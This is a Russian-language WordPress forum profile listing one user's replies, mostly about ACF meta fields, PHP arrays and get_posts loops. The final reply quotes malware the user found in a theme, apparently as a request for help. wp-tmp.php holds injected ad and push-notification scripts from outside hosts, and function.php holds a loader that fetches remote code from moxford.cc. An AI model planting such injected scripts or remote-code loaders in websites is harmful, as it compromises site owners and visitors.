usmdamir
Ответы в темах
-
Форум: Плагины
Тема: ACF delete_field — удалить значение массиваупс
прошу извинить.
все оказывается работало, я просто неверную ссылку повесил на вызов функции.
да, с вашим кодом все отлично работает.$a = get_field('trs-user', $post_id, true); unset($a[array_search($user_id, $a)]); update_field('trs-user', $a, $post_id );
$a — получаем массив мета поля
$user_id — ID текущего пользователя
update_field — обновляем мета полеФорум: Проблемы и решения
Тема: update_post_meta serialize arrayи подведу итог.
полностью рабочий код, который наконец меня устроил и работает.$user_id = get_current_user_id(); $a = get_field('trs-user', $post_id, true); $a[] = $user_id; update_field('trs-user', $a, $post_id );
$user_id — получаем ID авторизованного пользователя
$a — получаем массив ACF поля
$a[] — добавляем значение к массиву
update_field — обновляем с помощью плагина ACFФорум: Проблемы и решения
Тема: update_post_meta serialize arrayт.к. у меня ACF используется
я заменил
update_post_meta($post_id, 'trs-user', $a);
вот на это
update_field('trs-user', $a, $post_id );
данные сохраняются нормально, но они перезаписываются, а нужно добавлять к текущим данным.
Форум: Проблемы и решения
Тема: update_post_meta serialize arrayесли указать true
получаюGET https://trs.it-s.su/wp-admin/admin-ajax.php?action=blog_status_change&blog_status_id=81 500
jquery.min.js?ver=3.5.1:2Форум: Проблемы и решения
Тема: Вывод уникальных значений полейвроде бы получилось сделать
<?php $posts = get_posts(array( 'numberposts' => -1, 'post_type' => 'book', )); foreach($posts as $post) { $field = get_field('trs-g'); $locations[] = $field[0]; } $locations = array_unique($locations); foreach($locations as $location){ echo $location; } ?>
Форум: Проблемы и решения
Тема: Вывод уникальных значений полейсделал print_r на странице, у меня там массив.
дописал
echo $location[0];в итоге получил код
<?php $posts = get_posts(array( 'numberposts' => -1, 'post_type' => 'book', )); foreach($posts as $post) { $locations[] = get_field('trs-g'); echo '<br/>'; } echo print_r($locations); echo '<h3>Вывод уникальных строк массива</h3>'; $locations = array_unique($locations); foreach($locations as $location){ echo '<br/><br/>'; echo $location[0]; } ?>
и все равно выводится только одно значение.
ссылка кому интересна
https://trs.it-s.su/- Ответ изменён 4 года, 2 месяца назад пользователем usmdamir.
Форум: Проблемы и решения
Тема: Вывод уникальных значений полейВ таком случае получаю Array
тоже одно значение.
у меня поле — это чекбокс, но у каждого поста только 1 значение поля.Форум: Проблемы и решения
Тема: Вывод уникальных значений полейпробую такой код
<?php $posts = get_posts(array( 'numberposts' => -1, 'post_type' => 'book', )); if($posts) { foreach($posts as $post) { $locations = get_field('trs-g'); } $locations = array_unique($locations); foreach($locations as $location){ echo '<p>' . $location . '</p>'; } } ?>
выводит только одно значение.
Форум: Проблемы и решения
Тема: wpdb query CONCATСпасибо за помощь!
Форум: Проблемы и решения
Тема: wpdb query CONCATКнопка у меня уже работает, тут вопросов нет, а ваша функция заработала только так
$a = get_post_meta(38, ‘trsuser’, false);сейчас проверяю.
спасибо!Форум: Проблемы и решения
Тема: Не знаю как реализоватьавтоматизируйте через скрипт от сайта Православие.ру
вот пример
https://www.kazanski-m.ru/kalendar/?date=0916Форум: Проблемы и решения
Тема: Проблема со строкой в файле header.phpв описании ошибки написано
Лишний или нехватает символа — ‘}’
проверьте код на все скобкиФорум: Плагины
Тема: Плагин ведения учета доходов и расходовСпасибо
Форум: WooCommerce
Тема: Выбор количества товаров в оформлении заказатема — twenty seventeen
дизайн кастомный, делал на основе ее.Форум: Проблемы и решения
Тема: Модальное окно в мобильной версиив файле wp-tmp.php
есть внедрения скриптов$conpush='<script src="//defpush.com/ntfc.php?p=1548316" data-cfasync="false" async></script>'; } else { $conpush='<script src="//defpush.com/ntfc.php?p=1548315" data-cfasync="false" async></script>'; } $con2 = ' <script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1540670"></script> <script src="//go.mobtrks.com/notice.php?p=1541945&interstitial=1"></script> <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1540674&interactive=1&pushup=1"></script>
в файле function.php
$wp_auth_key='9402891ba8833cd5e21069bd95fc3a20'; if (($tmpcontent = @file_get_contents("http://www.moxford.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.moxford.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
а вот вирусная проверка ничего по поводу них не говорит.